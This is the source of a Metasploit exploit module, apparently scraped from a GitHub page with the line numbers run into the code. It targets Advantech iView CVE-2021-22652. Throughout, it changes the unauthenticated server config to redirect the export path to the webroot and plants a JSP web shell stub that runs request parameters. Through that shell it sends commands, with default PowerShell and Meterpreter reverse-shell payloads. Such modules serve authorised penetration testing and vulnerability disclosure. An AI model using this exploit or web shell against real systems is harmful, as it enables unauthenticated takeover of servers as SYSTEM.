Path: blob/master/modules/exploits/windows/http/advantech_iview_unauth_rce.rb
32862 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::Powershell13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Advantech iView Unauthenticated Remote Code Execution',20'Description' => %q{21This module exploits an unauthenticated configuration change combined22with an unauthenticated file write primitive, leading to an arbitrary23file write that allows for remote code execution as the user running24iView, which is typically NT AUTHORITY\SYSTEM.2526This issue was demonstrated in the vulnerable version 5.7.02.5992 and27fixed in version 5.7.03.6112.28},29'Author' => [30'wvu', # Discovery and exploit31'Spencer McIntyre' # Check, docs, and testing32],33'References' => [34['CVE', '2021-22652'],35['URL', 'https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],36['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']37],38'DisclosureDate' => '2021-02-09', # ICS-CERT advisory39'License' => MSF_LICENSE,40'Platform' => 'win',41'Privileged' => true,42'Targets' => [43[44'Windows Command',45{46'Arch' => ARCH_CMD,47'Type' => :win_cmd,48'DefaultOptions' => {49'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'50}51}52],53[54'Windows Dropper',55{56'Arch' => [ARCH_X86, ARCH_X64],57'Type' => :win_dropper,58'DefaultOptions' => {59'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,60'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'61}62}63],64[65'PowerShell Stager',66{67'Arch' => [ARCH_X86, ARCH_X64],68'Type' => :psh_stager,69'DefaultOptions' => {70'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'71}72}73]74],75'DefaultTarget' => 2,76'Notes' => {77'Stability' => [CRASH_SAFE],78'Reliability' => [REPEATABLE_SESSION],79'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]80}81)82)8384register_options([85Opt::RPORT(8080),86OptString.new('TARGETURI', [true, 'Application path', '/iView3'])87])88end8990def check91res = send_request_cgi(92'method' => 'POST',93'uri' => normalize_uri(target_uri.path, 'MenuServlet'),94'vars_post' => {95'page_action_type' => 'getMenuFragment',96'page' => 'version.frag'97}98)99return CheckCode::Unknown unless res&.code == 200100101version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')102return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/103104version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"105vprint_status("Identified the version as #{version}")106return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')107108CheckCode::Appears109end110111def exploit112config = retrieve_config113updated = update_config(config)114write_jsp_stub115116print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")117118case target['Type']119when :win_cmd120execute_command(payload.encoded)121when :win_dropper122execute_cmdstager123when :psh_stager124execute_command(cmd_psh_payload(125payload.encoded,126payload.arch.first,127remove_comspec: true128))129end130ensure131restore_config(config) if config && updated132end133134def retrieve_config135print_status('Retrieving config')136137res = send_request_cgi(138'method' => 'POST',139'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),140'vars_post' => {141'page_action_type' => 'retrieveSystemSettings'142}143)144145unless res && res.code == 200 && (config = res.get_json_document.first)146fail_with(Failure::NotFound, 'Failed to retrieve config')147end148149print_good('Successfully retrieved config')150vprint_line(JSON.pretty_generate(config))151152config153end154155def update_config(config)156print_status('Updating config')157158config = config.dup159config['EXPORTPATH'] = 'webapps\\iView3\\'160161res = send_request_cgi(162'method' => 'POST',163'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),164'vars_post' => {165'page_action_type' => 'updateSystemSettings',166'json_obj' => config.to_json167}168)169170unless res && res.code == 200 && (config = res.get_json_document.first)171fail_with(Failure::NotFound, 'Failed to retrieve updated config')172end173174unless config['EXPORTPATH'] == 'webapps\\iView3\\'175fail_with(Failure::NotVulnerable, 'Failed to update config')176end177178print_good('Successfully updated config')179vprint_line(JSON.pretty_generate(config))180181true182end183184def write_jsp_stub185print_status('Writing JSP stub')186187res = send_request_cgi(188'method' => 'POST',189'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),190'vars_post' => {191'page_action_type' => 'exportInventoryTable',192'col_list' => "#{jsp_stub}-NULL",193'sortname' => 'NULL',194'sortorder' => '',195'filename' => jsp_filename196}197)198199unless res && res.code == 200200fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')201end202203register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")204205print_good('Successfully wrote JSP stub')206end207208def execute_command(cmd, _opts = {})209cmd.prepend('cmd.exe /c ')210211print_status("Executing command: #{cmd}")212213res = send_request_cgi(214'method' => 'POST',215'uri' => normalize_uri(target_uri.path, jsp_filename),216'vars_post' => {217jsp_param => cmd218}219)220221unless res && res.code == 200222fail_with(Failure::PayloadFailed, 'Failed to execute command')223end224225print_good('Successfully executed command')226end227228def restore_config(config)229print_status('Restoring config')230231res = send_request_cgi(232'method' => 'POST',233'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),234'vars_post' => {235'page_action_type' => 'updateSystemSettings',236'json_obj' => config.to_json237}238)239240unless res && res.code == 200 && (config = res.get_json_document.first)241print_error('Failed to retrieve restored config')242return243end244245if config['EXPORTPATH'] == 'webapps\\iView3\\'246print_warning('Failed to restore config')247return248end249250print_good('Successfully restored config')251vprint_line(JSON.pretty_generate(config))252end253254def jsp_stub255%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)256end257258def jsp_param259@jsp_param ||= rand_text_alphanumeric(8..42)260end261262def jsp_filename263@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"264end265266end267268269